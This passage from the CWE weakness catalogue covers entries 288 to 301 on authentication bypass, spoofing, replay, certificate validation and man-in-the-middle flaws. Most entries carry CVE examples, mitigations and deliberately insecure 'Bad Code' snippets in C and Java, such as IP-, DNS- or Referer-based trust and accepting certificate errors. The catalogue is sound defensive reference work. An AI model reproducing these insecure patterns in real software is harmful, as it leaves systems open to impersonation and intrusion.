ChildOf	Wc	693	Protection Mechanism Failure	**1000**	684
ChildOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	**629**	714
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
ParentOf	Wc	*300*	*Channel Accessible by Non-Endpoint ('Man-in-the-Middle')*	***699*** ***1000***	*326*
ParentOf	Wd	*301*	*Reflection Attack in an Authentication Protocol*	***699*** ***1000***	*327*
ParentOf	We	*303*	*Incorrect Implementation of Authentication Algorithm*	***699*** ***1000***	*330*
ParentOf	We	*304*	*Missing Critical Step in Authentication*	***699***	*330*
CanFollow	We	*304*	*Missing Critical Step in Authentication*	***1000***	*330*
ParentOf	Wd	*306*	*No Authentication for Critical Function*	***699*** ***1000***	*332*
ParentOf	We	*307*	*Failure to Restrict Excessive Authentication Attempts*	***699*** *1000*	*332*
ParentOf	We	*308*	*Use of Single-factor Authentication*	***699*** ***1000***	*333*
ParentOf	We	*309*	*Use of Password System for Primary Authentication*	***699*** ***1000***	*334*
ParentOf	We	*322*	*Key Exchange without Entity Authentication*	***1000***	*346*
ParentOf	B	*384*	*Session Fixation*	*699* ***1000***	*408*
ParentOf	We	*551*	*Incorrect Behavior Order: Authorization Before Parsing and Canonicalization*	***699*** *1000*	*555*
ParentOf	Wc	*592*	*Authentication Bypass Issues*	***699*** ***1000***	*582*
ParentOf	We	*603*	*Use of Client-Side Authentication*	***699*** *1000*	*592*
CanFollow	We	*613*	*Insufficient Session Expiration*	***699*** *1000*	*599*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*
ParentOf	We	*645*	*Overly Restrictive Account Lockout Mechanism*	***699*** ***1000***	*631*

Relationship Notes

This can be resultant from SQL injection vulnerabilities and other issues.

Functional Areas

- Authentication

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Error
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
22	Exploiting Trust in Client (aka Make the Client Invisible)	

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
57	Utilizing REST's Trust in the System Resource to Register Man in the Middle	
94	Man in the Middle Attack	

CWE-288: Authentication Bypass Using an Alternate Path or Channel

Weakness ID: 288 *(Weakness Base)* **Status:** Incomplete

Description

Summary

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Modes of Introduction

This is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.

Observed Examples

Reference	Description
CVE-1999-1077	
CVE-1999-1454	Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.
CVE-2000-1179	
CVE-2002-0066	Bypass authentication via direct request to named pipe.
CVE-2002-0870	Attackers may gain additional privileges by directly requesting the web management URL.
CVE-2003-0304	Direct request of installation file allows attacker to create administrator accounts.
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.
CVE-2004-0213	non-web

Potential Mitigations

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	We	420	Unprotected Alternate Channel	1000	448
PeerOf	We	425	Direct Request ('Forced Browsing')	1000	451
ChildOf	We	592	Authentication Bypass Issues	**699** **1000**	582
ChildOf		721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	**629**	715

Relationship Notes

overlaps Unprotected Alternate Channel

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass by Alternate Path/ Channel
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
56	Removing/short-circuiting 'guard logic'	

CWE-289: Authentication Bypass by Alternate Name

Weakness ID: 289 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2003-0317	Protection mechanism that restricts URL access can be bypassed using URL encoding.
CVE-2004-0847	Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash).

Potential Mitigations

Architecture and Design

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Architecture and Design

Use and specify a strong output encoding (such as ISO 8859-1 or UTF 8).

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character, so you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

"Alternate name" itself is a rather general class of data-driven manipulation.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		592	Authentication Bypass Issues	**699 1000**	582
CanFollow		*46*	*Path Equivalence: 'filename ' (Trailing Space)*	*1000*	*47*
CanFollow		*52*	*Path Equivalence: '/multiple/trailing/slash//'*	*1000*	*50*
CanFollow		*171*	*Cleansing, Canonicalization, and Comparison Errors*	*1000*	*199*
CanFollow		*173*	*Failure to Handle Alternate Encoding*	*1000*	*201*
CanFollow		*178*	*Failure to Resolve Case Sensitivity*	*1000*	*206*

Relationship Notes

Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication bypass by alternate name

CWE-290: Authentication Bypass by Spoofing

Weakness ID: 290 *(Weakness Base)* **Status:** Incomplete

Description

Summary

This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks.

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

Here, an authentication mechanism implemented in Java relies on an IP address for source validation. If an attacker is able to spoof the IP, however, he may be able to bypass such an authentication mechanism.

Java Example: *Bad Code*

```
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {
  authenticated = true;
}
```

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	592	Authentication Bypass Issues	**699 1000**	582
PeerOf	Wv	*247*	*Reliance on DNS Lookups in a Security Decision*	*1000*	*268*
ParentOf		*291*	*Trusting Self-reported IP Address*	***699 1000***	*316*
ParentOf	Wv	*292*	*Trusting Self-reported DNS Name*	***699 1000***	*318*
ParentOf	Wv	*293*	*Using Referer Field for Authentication*	***699 1000***	*319*
CanAlsoBe	We	*358*	*Improperly Implemented Security Check for Standard*	*1000*	*379*
PeerOf	We	*602*	*Client-Side Enforcement of Server-Side Security*	*1000*	*590*

Relationship Notes

Resultant vuln from insufficient verification.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication bypass by spoofing

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials
22	Exploiting Trust in Client (aka Make the Client Invisible)
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
94	Man in the Middle Attack

CWE-291: Trusting Self-reported IP Address

Compound Element ID: 291 *(Compound Element Variant: Composite)* **Status:** Incomplete

Description

Summary

The use of IP addresses as authentication is flawed and can easily be spoofed by malicious users.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All

Common Consequences
Authentication

Malicious users can fake authentication information, impersonating any IP address.

Likelihood of Exploit
High

Demonstrative Examples
C/C++ Example: *Bad Code*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
  memset(msg, 0x0, MAX_MSG);
  clilen = sizeof(cli);
  if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Java Example: *Bad Code*

```
while(true) {
  DatagramPacket rp=new DatagramPacket(rData,rData.length);
  outSock.receive(rp);
  String in = new String(p.getData(),0, rp.getLength());
  InetAddress IPAddress = rp.getAddress();
  int port = rp.getPort();
  if ((rp.getAddress()==...) & (in==...)) {
    out = secret.getBytes();
    DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
  }
}
```

Potential Mitigations
Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Other Notes
As IP addresses can be easily spoofed, they do not constitute a valid authentication mechanism. Alternate methods should be used if significant authentication is necessary.

Weakness Ordinalities
Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships
Nature	Type	ID	Name	V	Page
ChildOf	Weakness	290	Authentication Bypass by Spoofing	**699 1000**	316
PeerOf	Weakness	292	Trusting Self-reported DNS Name	1000	318
PeerOf	Weakness	293	Using Referer Field for Authentication	1000	319
Requires	Weakness	348	Use of Less Trusted Source	1000	370
Requires	Weakness	471	Modification of Assumed-Immutable Data (MAID)	1000	492

Causal Nature
Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings
Mapped Taxonomy Name	Mapped Node Name
CLASP	Trusting self-reported IP address

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
4	Using Alternative IP Address Encodings	

CWE-292: Trusting Self-reported DNS Name

Weakness ID: 292 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The use of self-reported DNS names as authentication is flawed and can easily be spoofed by malicious users.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

Malicious users can fake authentication information by providing false DNS information.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The following code uses a DNS lookup to determine whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

Bad Code

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.trusty.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
  trusted = true;
} else {
  trusted = false;
}
```

Example 2:

C/C++ Example:

Bad Code

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
  memset(msg, 0x0, MAX_MSG);
  clilen = sizeof(cli);
  h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
  if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Java Example:

```
while(true) {
  DatagramPacket rp=new DatagramPacket(rData,rData.length);
  outSock.receive(rp);
  String in = new String(p.getData(),0, rp.getLength());
  InetAddress IPAddress = rp.getAddress();
  int port = rp.getPort();
  if ((rp.getHostName()==...) & (in==...)) {
    out = secret.getBytes();
```

```
    DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);
    outSock.send(sp);
  }
}
```

Potential Mitigations

Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Other Notes

As DNS names can be easily spoofed or misreported, they do not constitute a valid authentication mechanism. Alternate methods should be used if the significant authentication is necessary.
In addition, DNS name resolution as authentication would -- even if it was a valid means of authentication -- imply a trust relationship with the DNS servers used, as well as all of the servers they refer to.

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		290	Authentication Bypass by Spoofing	**699** **1000**	316
PeerOf		291	Trusting Self-reported IP Address	1000	316
PeerOf		293	Using Referer Field for Authentication	1000	319

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Trusting self-reported DNS name

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
89	Pharming	

CWE-293: Using Referer Field for Authentication

Weakness ID: 293 *(Weakness Variant)* **Status:** Draft

Description

Summary

The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.

Alternate Terms

referrer

While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authorization

Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.

Accountability

Actions may be taken in the name of the server referred to.

Likelihood of Exploit

High

Demonstrative Examples

C/C++ Example: *Bad Code*

```
sock= socket(AF_INET, SOCK_STREAM, 0);
...
bind(sock, (struct sockaddr *)&server, len)
...
while (1) newsock=accept(sock, (struct sockaddr *)&from, &fromlen);
pid=fork();
if (pid==0) {
  n = read(newsock,buffer,BUFSIZE);
  ...
  if (buffer+...==Referer: http://www.foo.org/dsaf.html) //do stuff
```

Java Example: *Bad Code*

```
public class httpd extends Thread {
  Socket cli;
  public httpd(Socket serv) {
    cli=serv;
    start();
  }
  public static void main(String[] a) {
    ...
    ServerSocket
    serv=new ServerSocket(8181);
    for(;;) {
      new h(serv.accept());
      ...
      public void run() {
        try {
          BufferedReader reader = new BufferedReader(new InputStreamReader(cli.getInputStream())); //if i contains a the
          proper referer.
          DataOutputStream o= new DataOutputStream(c.getOutputStream());
          ...
```

Potential Mitigations

Architecture and Design

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.

Background Details

The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	290	Authentication Bypass by Spoofing	**699 1000**	316
PeerOf		291	Trusting Self-reported IP Address	1000	316
PeerOf	*Weakness*	*292*	*Trusting Self-reported DNS Name*	*1000*	*318*

Relevant Properties

- Mutability

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Using referrer field for authentication

CWE-294: Authentication Bypass by Capture-replay

Weakness ID: 294 *(Weakness Base)* **Status:** Incomplete

Description

Summary

A capture-replay flaw exists when the design of the software makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authorization

Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.

Likelihood of Exploit

High

Demonstrative Examples

C/C++ Example:

```
unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {
  const EVP_MD *m; EVP_MD_CTX ctx;
  unsigned char *ret;
  OpenSSL_add_all_digests();
  if (!(m = EVP_get_digestbyname(alg))) return NULL;
  if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
  EVP_DigestInit(&ctx, m);
  EVP_DigestUpdate(&ctx,buf,len);
  EVP_DigestFinal(&ctx,ret,olen);
  return ret;
}
unsigned char *generate_password_and_cmd(char *password_and_cmd) {
  simple_digest("sha1",password,strlen(password_and_cmd)
  ...);
}
```

Java Example:

```
String command = new String("some cmd to execute & the password")
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(command.getBytes("UTF-8"));
byte[] digest = encer.digest();
```

Potential Mitigations

Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

Other Notes

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely listening in on previously sent valid commands, then changing them slightly if necessary and resending the same commands to the server. Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	592	Authentication Bypass Issues	**699 1000**	582

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication bypass by replay
CLASP	Capture-replay

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
60	Reusing Session IDs (aka Session Replay)	
94	Man in the Middle Attack	

CWE-295: Certificate Issues

Category ID: 295 *(Category)* **Status:** Incomplete

Description

Summary

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Applicable Platforms

Languages

- All

Background Details

A certificate is a token that associates an identity (principle) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**699**	279
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ParentOf	Wa	*296*	*Improper Following of Chain of Trust for Certificate Validation*	***699***	*322*
ParentOf	Wa	*297*	*Improper Validation of Host-specific Certificate Data*	***699***	*323*
ParentOf	Wa	*298*	*Improper Validation of Certificate Expiration*	***699***	*324*
ParentOf	Wa	*299*	*Improper Check for Certificate Revocation*	***699***	*325*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

References

M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.

CWE-296: Improper Following of Chain of Trust for Certificate Validation

Weakness ID: 296 *(Weakness Base)* **Status:** Draft

Description

Summary

The chain of trust is not followed or is incorrectly followed when validating a certificate, resulting in incorrect trust of any resource that is associated with that certificate.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.

Accountability

Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.

Likelihood of Exploit

Low

Demonstrative Examples

Bad Code

```
if (!(cert = SSL_get_peer(certificate(ssl)) || !host)foo=SSL_get_veryify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo)) //do stuff
```

Potential Mitigations

Architecture and Design

Ensure that proper certificate checking is included in the system design.

Implementation

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

Other Notes

If a system fails to follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate. In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since you must traverse the chain to a trusted source to verify the certificate.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	295	Certificate Issues	**699**	322
PeerOf	We	297	Improper Validation of Host-specific Certificate Data	1000	323
PeerOf	We	298	Improper Validation of Certificate Expiration	1000	324
PeerOf	We	299	Improper Check for Certificate Revocation	1000	325
PeerOf	We	322	Key Exchange without Entity Authentication	1000	346
ChildOf	Wc	573	Failure to Follow Specification	**1000**	570
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
ChildOf	Wc	754	Improper Check for Exceptional Conditions	1000	734
PeerOf	We	*370*	*Missing Check for Certificate Revocation after Initial Check*	*1000*	*396*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to follow chain of trust in certificate validation

CWE-297: Improper Validation of Host-specific Certificate Data

Weakness ID: 297 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Host-specific certificate data is not validated or is incorrectly validated, so while the certificate read is valid, it may not be for the site originally requested.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Integrity

The data read from the system vouched for by the certificate may not be from the expected system.

Authentication

Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing or redirection attacks.

Likelihood of Exploit

High

Demonstrative Examples

```
if (!(cert = SSL_get_peer(certificate(ssl)) || !host) foo=SSL_get_veryify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SUBJECT_ISSUER_MISMATCH==foo)) //do stuff
```

Potential Mitigations

Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

Other Notes

If the host-specific data contained in a certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid and that it pertains to the site that we wish to access.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	295	Certificate Issues	**699**	322
PeerOf	Wa	296	Improper Following of Chain of Trust for Certificate Validation	1000	322
PeerOf	Wa	298	Improper Validation of Certificate Expiration	1000	324
PeerOf	Wa	299	Improper Check for Certificate Revocation	1000	325
ChildOf	Wc	345	Insufficient Verification of Data Authenticity	**1000**	367
ChildOf	Wc	754	Improper Check for Exceptional Conditions	1000	734
ParentOf	Wa	*322*	*Key Exchange without Entity Authentication*	*1000*	*346*
PeerOf	Wa	*370*	*Missing Check for Certificate Revocation after Initial Check*	*1000*	*396*
ParentOf	Wv	*599*	*Trust of OpenSSL Certificate Without Validation*	***699 1000***	*587*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to validate host-specific certificate data

CWE-298: Improper Validation of Certificate Expiration

Weakness ID: 298 *(Weakness Base)* **Status:** Draft

Description

Summary

A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Integrity

The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.

Authentication

Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing attacks.

Likelihood of Exploit

Low

Demonstrative Examples

```
if (!(cert = SSL_get_peer(certificate(ssl)) || !host) foo=SSL_get_veryify_result(ssl);
if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo)) //do stuff
```

Potential Mitigations

Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

Other Notes

When the expiration of a certificate is not taken in to account, no trust has necessarily been conveyed through it; therefore, all benefit of certificate is lost.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		295	Certificate Issues	**699**	322
PeerOf	We	296	Improper Following of Chain of Trust for Certificate Validation	1000	322
PeerOf	We	297	Improper Validation of Host-specific Certificate Data	1000	323
PeerOf	We	299	Improper Check for Certificate Revocation	1000	325
PeerOf	We	322	Key Exchange without Entity Authentication	1000	346
PeerOf	We	324	Use of a Key Past its Expiration Date	1000	348
ChildOf	We	672	Use of a Resource after Expiration or Release	**1000**	660
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
ChildOf	Wc	754	Improper Check for Exceptional Conditions	1000	734
PeerOf	We	*370*	*Missing Check for Certificate Revocation after Initial Check*	*1000*	*396*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to validate certificate expiration

CWE-299: Improper Check for Certificate Revocation

Weakness ID: 299 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

Trust may be assigned to an entity who is not who it claims to be.

Integrity
Data from an untrusted (and possibly malicious) source may be integrated.

Confidentiality
Date may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

Likelihood of Exploit
Medium

Demonstrative Examples
C/C++ Example: *Bad Code*

```
if (!(cert = SSL_get_peer(certificate(ssl)) || !host)
...
without a get_verify_results
```

Potential Mitigations
Architecture and Design
Ensure that certificates are checked for revoked status.

Other Notes
The failure to check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.

Relationships
Nature	Type	ID	Name	V	Page
ChildOf		295	Certificate Issues	**699**	322
PeerOf	We	296	Improper Following of Chain of Trust for Certificate Validation	1000	322
PeerOf	We	297	Improper Validation of Host-specific Certificate Data	1000	323
PeerOf	We	298	Improper Validation of Certificate Expiration	1000	324
PeerOf	We	322	Key Exchange without Entity Authentication	1000	346
ChildOf	We	404	Improper Resource Shutdown or Release	**1000**	431
ChildOf	We	754	Improper Check for Exceptional Conditions	1000	734
ParentOf	We	*370*	*Missing Check for Certificate Revocation after Initial Check*	***699 1000***	*396*

Taxonomy Mappings
Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to check for certificate revocation

CWE-300: Channel Accessible by Non-Endpoint (aka 'Man-in-the-Middle')

Weakness ID: 300 *(Weakness Class)* **Status:** Draft

Description
Summary
The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.

Extended Description
In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Failure to do so adequately or consistently may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Demonstrative Examples

In the Java snippet below, data is sent over an unencrypted channel to a remote server. By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

Java Example: *Bad Code*

```
Socket sock;
PrintWriter out;
try {
  sock = new Socket(REMOTE_HOST, REMOTE_PORT);
  out = new PrintWriter(echoSocket.getOutputStream(), true);
  // Write data to remote host via socket output stream.
  ...
}
```

Potential Mitigations

Always fully authenticate both ends of any communications channel.

Adhere to the principle of complete mediation.

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	287	Improper Authentication	**699 1000**	312
PeerOf	We	*602*	*Client-Side Enforcement of Server-Side Security*	*1000*	*590*
PeerOf	We	*603*	*Use of Client-Side Authentication*	*1000*	*592*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Man-in-the-middle (MITM)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
57	Utilizing REST's Trust in the System Resource to Register Man in the Middle
94	Man in the Middle Attack

References

M. Bishop. "Computer Security: Art and Science". Addison-Wesley. 2003.

Maintenance Notes

The summary identifies multiple distinct possibilities, suggesting that this is a category that must be broken into more specific weaknesses.

CWE-301: Reflection Attack in an Authentication Protocol

Weakness ID: 301 *(Weakness Variant)* **Status:** Draft

Description

Summary

Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.

Extended Description

A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Authentication

The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example:

```
unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {
  const EVP_MD *m;
  EVP_MD_CTX ctx;
  unsigned char *ret;
  OpenSSL_add_all_digests();
  if (!(m = EVP_get_digestbyname(alg))) return NULL;
  if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
  EVP_DigestInit(&ctx, m);
  EVP_DigestUpdate(&ctx,buf,len);
  EVP_DigestFinal(&ctx,ret,olen);
  return ret;
}
unsigned char *generate_password_and_cmd(char *password_and_cmd) {
  simple_digest("sha1",password,strlen(password_and_cmd)
  ...
  );
}
```

Java Example:

```
String command = new String("some cmd to execute & the password") MessageDigest encer =
MessageDigest.getInstance("SHA");
encer.update(command.getBytes("UTF-8"));
byte[] digest = encer.digest();
```

Potential Mitigations

Architecture and Design

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

Architecture and Design

Let the initiator prove its identity before proceeding.

Other Notes

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the

first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

Relationships

